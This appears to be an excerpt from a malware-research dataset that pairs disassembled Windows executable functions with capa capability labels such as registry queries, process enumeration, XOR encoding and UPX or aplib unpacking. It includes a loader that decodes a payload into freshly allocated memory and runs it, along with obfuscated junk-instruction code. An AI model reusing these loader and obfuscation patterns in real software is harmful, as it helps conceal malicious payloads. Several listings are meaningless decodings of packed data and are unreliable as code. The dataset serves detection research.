joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45c080
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57f405
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
push edi
push 0x27
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
push str.MEFUNcWMuoMgVHeICYUkbBEXUMEAx0BwVfyMzE
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
call fcn.0042cb00
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3c]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
push str.QzNm2MzBH0B0c2UQA
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x28], 0
call fcn.0042cb00
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push 0xf003f
push 0
sub esp, 0x18
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x24], 4
mov ecx, esp
mov esi, 3
push eax
call fcn.004306a0
lea ecx, [ebp - 0x1c]
call fcn.00446d80
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
mov dword [ebp - 0x20], eax
add edx, 0xfffffff0
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x45c16b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x45c1cc
sub esp, 0x18
lea eax, [ebp - 0x3c]
mov ecx, esp
push eax
call fcn.004306a0
lea ecx, [ebp - 0x20]
call fcn.00446d80
add esp, 0x18
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push dword [eax]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x45c1bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x18]
test eax, eax
cmove esi, dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x45c202
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45c1f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c24d
push ecx
push edx
call fcn.00550d24
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 8
jb 0x45c238
mov edx, dword [ebp - 0x54]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45c22e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45c24d
push ecx
push edx
call fcn.00550d24
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00555bff
int3
Function at 0x45cc50
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5805f5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
mov edi, dword [eax - 0xc]
test edi, edi
je 0x45ce6e
mov ecx, dword [ebx]
cmp dword [ecx - 0xc], 0
je 0x45ce6e
lea esi, [edi + 1]
test esi, esi
js 0x45ce20
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, esi
or ecx, edx
jge 0x45ccc0
push esi
lea ecx, [ebp + 8]
call fcn.00431190
mov eax, dword [ebp + 8]
mov ecx, 0x5c
mov word [eax + edi*2], cx
mov eax, dword [ebp + 8]
cmp esi, dword [eax - 8]
jg 0x45ce20
mov dword [eax - 0xc], esi
xor ecx, ecx
mov eax, dword [ebp + 8]
mov word [eax + esi*2], cx
lea ecx, [ebp + 8]
mov eax, dword [ebx]
push dword [eax - 0xc]
push eax
call fcn.0042d1c0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x45cd12
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0xb7
jne 0x45ce2a
mov esi, dword [ebp + 8]
or eax, 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x45cd2d
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.00431210
push str.VHVDcYRcHnJgAgrEAcI2JhAgRFTsHsOj4yXFCoNIMRE
lea ecx, [ebp - 0x18]
call fcn.00431340
push esi
push ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x14]
call fcn.00447160
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.00448790
push 0x5c2f3c
lea eax, [ebp - 0x38]
push eax
call fcn.00552c2a
push str.U2dOFbjoJdOA8_7DioxlIwY8eDz4CrOgshIFA
lea ecx, [ebp - 0x18]
call fcn.00431340
push 2
push ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x14]
call fcn.00447160
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.00448790
push 0x5c2f3c
lea eax, [ebp - 0x44]
push eax
call fcn.00552c2a
int3
Function at 0x469b50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5818c5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x248
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x469d27
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.QWl3ubDQHjHAIu6Hhk
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
call fcn.00430f00
test al, al
jne 0x469bb5
push 0x13
push str.QWl3ubDQHjHAIu6Hhk
lea ecx, [ebp - 0x14]
call fcn.00431230
mov dword [ebp - 4], 1
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x469d31
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x597b10
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00430f00
test al, al
jne 0x469bfa
push 0
push 0x597b10
lea ecx, [ebp - 0x10]
call fcn.00431230
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x469c7d
push 0x228
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x250], 0x22c
push 0
push eax
call fcn.00552ad0
add esp, 0xc
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x469c76
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
cmp dword [ebp - 0x248], edi
je 0x469c68
lea eax, [ebp - 0x250]
push eax
push esi
call ebx
test eax, eax
jne 0x469c50
jmp 0x469c76
mov ecx, dword [ebp - 0x238]
lea edx, [ebp - 0x10]
call fcn.004699f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x10]
cmp dword [esi - 0xc], 0
jne 0x469cd2
mov ebx, dword [ebp - 0x14]
push ecx
add ebx, 0xfffffff0
mov edi, esp
mov ecx, ebx
mov dword [ebp - 0x1c], edi
call fcn.004305b0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [edi], eax
call fcn.00447160
lea edx, [esi - 0x10]
add esp, 4
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x469cc3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [ebx + 0xc], esi
dec esi
test esi, esi
jg 0x469d13
mov ecx, dword [ebx]
push ebx
jmp 0x469d0e
lea edi, [esi - 0x10]
mov ecx, edi
call fcn.004305b0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
or esi, 0xffffffff
mov dword [ecx], eax
mov eax, esi
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x469cfb
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x469d13
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
int3
Function at 0x1654a45
Capabilities:
Hash data with crc32

Disassembly:
sub eax, eax
xor ebx, ebx
setno al
not al
lodsb al, byte [esi]
clc
cmp sp, 0x292a
cmc
xor al, cl
test sp, si
test dx, 0x1eda
mov cl, ch
mov ch, dl
mov dl, dh
cmc
test edi, ebx
mov dh, 8
cmc
jmp 0x16bbbb2
jne 0x16341a2
not edx
btc eax, 0x72
rcl ax, 0xf3
not ecx
cbw
mov eax, esp
mov eax, edx
rol dl, cl
btc edx, 0x6c
cwd
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
jmp 0x163d7d6
stosd dword es:[edi], eax
setae bh
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
mov ebx, eax
not bh
xchg bx, bx
push eax
stosd dword es:[edi], eax
sal ebx, 0x3a
mov dword [ebp - 0xc], eax
setnp bl
btr ebx, ebp
mov eax, dword [esi]
btr si, ax
rol bx, 0xda
add eax, dword [ebp + 0xc]
adc bl, 0xca
sbb bx, 0x68b5
mov dword [ebp - 0x10], eax
shr al, cl
bsf bx, si
pop esi
test ecx, ecx
mov dword [ebp - 4], 0
test ecx, ebp
btc bx, si
push esi
add ebx, 0x2cd1303f
inc ebx
stc
mov eax, dword [esi]
sbb ebx, 0x65776cc7
test bp, cx
sub bl, 0xab
add eax, dword [ebp + 0xc]
xchg edi, eax
cmp edi, esp
xor ebx, esp
mov ebx, edi
test dx, sp
cmp esp, eax
jmp 0x16bb20c
je 0x1646aa6
pop esi
cmc
test ax, si
cmp al, dh
lea esi, [esi + 4]
cmp bl, 0x2e
stc
add dword [ebp - 4], 1
jmp 0x169deb7
pop esi
ror ah, 0x80
mov eax, dword [ebp - 4]
shl eax, 1
dec bx
add eax, dword [ebp - 0x10]
xor esi, esi
bt ebx, esp
xchg esi, eax
bt ebx, edx
cbw
bts ebx, edx
mov ax, word [esi]
rol cl, 0xb
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
shrd eax, edi, 0x5f
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
movsx esi, dx
cdq
pop ecx
movzx edx, si
pop edx
not si
xchg bx, di
mov bx, si
pop edi
movsx bx, dl
bswap esi
pop ebx
xchg si, si
cmove esi, ecx
pop esi
jmp 0x1672607
push ebp
mov ebp, esp
cmovno eax, ebp
clc
lea esp, [esp - 4]
btr ax, 0x3c
mov dword [ebp - 4], 0
lea esp, [esp - 0x14]
movsx eax, bp
cmc
push esi
sbb esi, ecx
push ebx
sub bx, 0x52f7
adc esi, ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
sub edx, edx
xchg edx, eax
or edi, edi
mov esi, 0x3c
add esi, dword [ebp + 0xc]
cmp esp, 0x567937ff
rol ah, cl
sar al, cl
mov eax, dword [esi]
sal bl, 0x34
bswap di
add eax, dword [ebp + 0xc]
cmp sp, cx
sbb bh, al
mov esi, dword [eax + 0x78]
sub edi, 0x1c0c4233
rcr al, cl
bsr ebx, edx
lea esi, [esi + 0x18]
shrd ebx, edx, 0x15
bsf edi, eax
add esi, dword [ebp + 0xc]
jmp 0x16b77ea
rcr ax, 1
jmp 0x1685860
jne 0x16bbbb2
xor ecx, eax
test di, 0x5dfc
xor edx, ebx
dec edi
jmp 0x1635fe1
jmp 0x1632748
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x16632de
jae 0x16b51df
xor ax, 0x8320
test ecx, esp
cmc
xor bx, 0xedb8
jmp 0x16b51df
jne 0x16bb215
pop esi
stc
sub edi, ebx
push edx
cmove edx, esi
cld
xor ecx, ecx
dec dl
dec ecx
sbb dl, 0x2c
rcr edx, 0x8d
shr dl, 0x94
mov edx, ecx
jmp 0x16341a2
jmp 0x163c3fe
lodsd eax, dword [esi]
movsx ebx, bp
add eax, dword [ebp + 0xc]
jmp 0x163c3b0
dec dh
jmp 0x165d743
mov eax, dword [esi]
xchg bl, bl
rcl ebx, cl
mov dword [ebp - 0x14], eax
sub bh, 0xb0
ror ebx, 0xb4
xor eax, 0x2bf76bc5
add esi, 4
lea edi, [ebp - 8]
jmp 0x16ae038
push edi
xor al, al
test bp, 0x6238
stc
scasb al, byte es:[edi]
jmp 0x169b049
shr bx, 1
jmp 0x16594c1
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1002aaee
pop dword [ebp - 0x1c]
mov eax, 0x2350071a
sub eax, 0x134d5c2c
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xdaaecd35
sub dword [ebp - 0x2c], 0x8c5c87ea
mov dword [ebp - 0x28], 0x1cde41e3
add dword [ebp - 0x28], 0x15550a62
mov dword [ebp - 0x24], 0xb4f867eb
add dword [ebp - 0x24], 0x9753dc43
mov dword [ebp - 0x20], 0x4d886f83
sub dword [ebp - 0x20], 0x4d886f83
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x77baaa5b
add dword [ebp - 0x2c], 0xfcb7befb
mov dword [ebp - 0x28], 0x86f93d12
add dword [ebp - 0x28], 0xba732463
mov dword [ebp - 0x24], 0xa6897ebe
add dword [ebp - 0x24], 0xbce5edae
mov dword [ebp - 0x20], 0xf4174a5b
add dword [ebp - 0x20], 0xbe8b5a5
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3695c
push 0
call eax
mov ecx, 0x4878
mov edi, eax
mov edx, 0x10039600
add edx, dword [ebp - 0x1c]
mov esi, 0x3729d5ad
sub esi, 0xb70ace39
sub dword [ebp - 0xc], esi
mov ebx, dword [edx]
add dword [ebp - 8], 0x9df450ce
add ebx, esi
xor dword [ebp - 8], 0x35077efc
mov dword [edi], ebx
add dword [ebp - 4], 0x8109319a
add edi, 4
add edx, 0xe4bea294
sub edx, 0xe4bea290
loop 0x1002abfa
add eax, 0xda228509
add eax, 0x25de8faa
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xaecececb
sub ecx, 0x9ecececb
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x41771b
Capabilities:
Authenticate hmac

Disassembly:
loop 0x41776d
inc esi
sar dword [0x6492ba4c], 0xd1
or ch, byte [edx + esi - 0x46b47f32]
stosd dword es:[edi], eax
push 0x76
dec ebx
in eax, dx
xlatb
test eax, 0xcdc7bcc6
cmp eax, 0xa1a4d13e
jecxz 0x4177b9
adc byte [ecx + 0x5a685b5b], ch
invalid
and dword [edi + 0x14], ebx
movsb byte es:[edi], byte [esi]
push esi
mov ah, 0x8d
aam 0xd0
fcom dword [edi + ebp*8 + 0x20]
inc esi
salc
add eax, 0x15ccf406
mov ch, 0x5c
cli
mov ss, word [edi + 0x61]
stc
jg 0x4177e9
movsb byte es:[edi], byte [esi]
iretd
push ss
invalid
mov dl, 0x67
imul edi, ecx, 0x7d255129
mov edx, 0x429d55a1
neg byte [edi - 0x33]
or dword [esi], esi
lodsd eax, dword [esi]
scasd eax, dword es:[edi]
les esi, [edi]
test ch, bh
add bh, bl
imul ecx, dword [ebp + 0x17], 0x1665c5bf
and eax, 0x4f5575f8
or esi, edi
pop ecx
je 0x417879
push edx
les ecx, [eax + eax - 0x73]
adc edx, dword [ebx - 0xe]
sub eax, dword [edx]
in eax, 0x6c
add esi, dword [edx]
popal
adc eax, 0x76436a63
mov al, 0x36
in eax, 0xd1
sbb eax, 0x4fafa3ff
rcl dword [edx + 0x48]
pop ss
dec esi
lcall 0xe732, 0x6e559a78
out 0xe, al
adc eax, 0x62222580
inc eax
inc esp
hlt
push edi
salc

Function at 0x417c10
Capabilities:
Get disk information

Disassembly:
push ecx
push esi
push 0x4c2074
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [0x4c5afc], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [0x4c5afc], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
mov dword [0x4c64c0], eax
mov dword [esp + 8], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test esi, esi
je 0x417c66
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
pop esi
mov ecx, dword [esp]
add ecx, eax
mov eax, ecx
pop ecx
ret

Function at 0x42e7ab
Capabilities:
Encode data using xor

Disassembly:
or ebx, ebp
paddsw mm0, qword [esi + 0x53]
sbb eax, 0xcd365ffa
insb byte es:[edi], dx
push ebp
xor eax, 0xc21f1012
push ss
invalid

Function at 0x4372f7
Capabilities:
Encode data using xor

Disassembly:
xchg ch, dl
dec ebp
inc esi
inc ebp
test eax, 0x55e35775
rcr dword [ecx - 0x1c], cl
dec ebx
xchg edx, eax
cdq
inc edx
mov word [esi], gs
fisttp qword [esi - 0x4bb2edd3]
sal dword [0x7f9cc0da], 1
and al, 0x64
stosb byte es:[edi], al
Function at 0x465c3f
Capabilities:
Encode data using xor

Disassembly:
and al, byte [ebx - 0x7d1c3bb0]
add eax, 0x67574d7d
aaa
jno 0x465c12
jne 0x465c60
inc ebp
rcr byte [esi + 0x6aad4330], 0xa6
out dx, al
push 0xffffffffffffffd6
sub byte [ebp + edi*4 - 0x3fa25583], dh
xor al, 0x38
and byte [edi - 0xb], dh
fcmovnbe st(0), st(4)
imul esi, dword [edi], 0xaa1ad443
push eax
push 0xfc4b3461
cld
mov ecx, 0x1bb82e4d
mov bl, 0xe7
xchg ebp, ebx
cmp eax, 0x4c482105
dec ebp
mov eax, 0x87e7b31b
fnstsw word [0x4c482105]
sal ecx, 1
jbe 0x465c10
scasb al, byte es:[edi]
mov esp, 0x24404ae5
xchg esi, eax
dec ebx
mov eax, dword [0xb875e527]
mov esi, ss
and ebx, dword [eax - 0x25]
cmp al, 0xf7
in eax, 0x75
mov eax, 0x5823d68c
fstp xword [edi + esi*8]
pop ds
inc edx
das
push esi
add byte [eax - 0x2018621b], cl
out 0xdf, eax
out 0xdf, eax
in al, dx
jne 0x465c1f
out dx, eax
pop es
cld
and ebx, edx
jne 0x465c2d
jge 0x465bdb
sar cl, 0x26
out 0x6f, al
push ecx
xor ch, byte [eax]
pop eax
sbb al, 0x49
push edi
jnp 0x465c54
scasd eax, dword es:[edi]
xor al, 0xf8
inc esi
invalid

Function at 0x4ba351
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c23b0
cmp edx, dword [eax]
je 0x4ba373
add eax, 8
inc ecx
cmp eax, 0x4c2440
jl 0x4ba364
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c23b0]
jne 0x4ba4a1
mov eax, dword [0x4c6d3c]
cmp eax, 1
je 0x4ba47b
test eax, eax
jne 0x4ba3a4
cmp dword [0x4c22dc], 1
je 0x4ba47b
cmp edx, 0xfc
je 0x4ba4a1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ba3db
lea eax, [ebp - 0x1a4]
push 0x4bf858
push eax
call fcn.004bad30
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb1c0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ba41e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb1c0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf854
push edi
call fcn.004bd090
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4bf838
push eax
call fcn.004bad30
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bad40
lea eax, [ebp - 0xa0]
push 0x4bf834
push eax
call fcn.004bad40
push dword [esi + 0x4c23b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bad40
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4bf80c
push eax
call fcn.004bd004
add esp, 0x2c
pop edi
jmp 0x4ba4a1
lea eax, [ebp + 8]
lea esi, [esi + 0x4c23b4]
push 0
push eax
push dword [esi]
call fcn.004bb1c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4bc11e
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x4bc13e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4bc12a
add dl, dl
jne 0x4bc149
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4bc19a
xor eax, eax
add dl, dl
jne 0x4bc156
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x4bc23b
add dl, dl
jne 0x4bc165
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4bc170
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4bc17b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4bc186
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x4bc190
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x4bc135
mov eax, 1
add dl, dl
jne 0x4bc1a8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x4bc1b3
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4bc19f
sub eax, ebx
mov ebx, 1
jne 0x4bc1e6
mov ecx, 1
add dl, dl
jne 0x4bc1cc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4bc1d7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4bc1c3
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4bc135
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x4bc1fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x4bc208
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x4bc1f4
cmp eax, 0x7d00
jae 0x4bc22b
cmp eax, 0x500
jb 0x4bc226
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4bc135
cmp eax, 0x7f
ja 0x4bc22e
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4bc135
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x4bc25c
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x4bc135
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x529090
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd2000]
push edi
jmp 0x5290aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5290b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5290a0
mov eax, 1
add ebx, ebx
jne 0x5290c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5290d4
jne 0x5290f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5290f3
dec eax
add ebx, ebx
jne 0x5290e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5290b8
add ebx, ebx
jne 0x5290ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x529145
xor ecx, ecx
sub eax, 3
jb 0x52910b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52917a
sar eax, 1
mov ebp, eax
jmp 0x529116
add ebx, ebx
jne 0x529116
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5290e4
inc ecx
add ebx, ebx
jne 0x529124
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5290e4
add ebx, ebx
jne 0x529131
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x529126
jne 0x529142
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x529126
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x529164
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x529156
jmp 0x5290a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x529164
add edi, ecx
jmp 0x5290a6
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x529182
cmp byte [edi], 0x11
jne 0x529182
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x529187
lea edi, [esi + 0x122000]
mov eax, dword [edi]
or eax, eax
je 0x5291ff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x179cbc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x179e38]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5291b4
mov ecx, edi
jns 0x5291e3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x179e3c]
or eax, eax
je 0x5291f9
mov dword [ebx], eax
add ebx, 4
jmp 0x5291d1
call dword [esi + 0x179e4c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x529230
cmp al, 0xef
ja 0x529223
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x529205
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x529212
mov ebp, dword [esi + 0x179e40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x529264
sub esp, 0xffffff80
jmp 0x42800a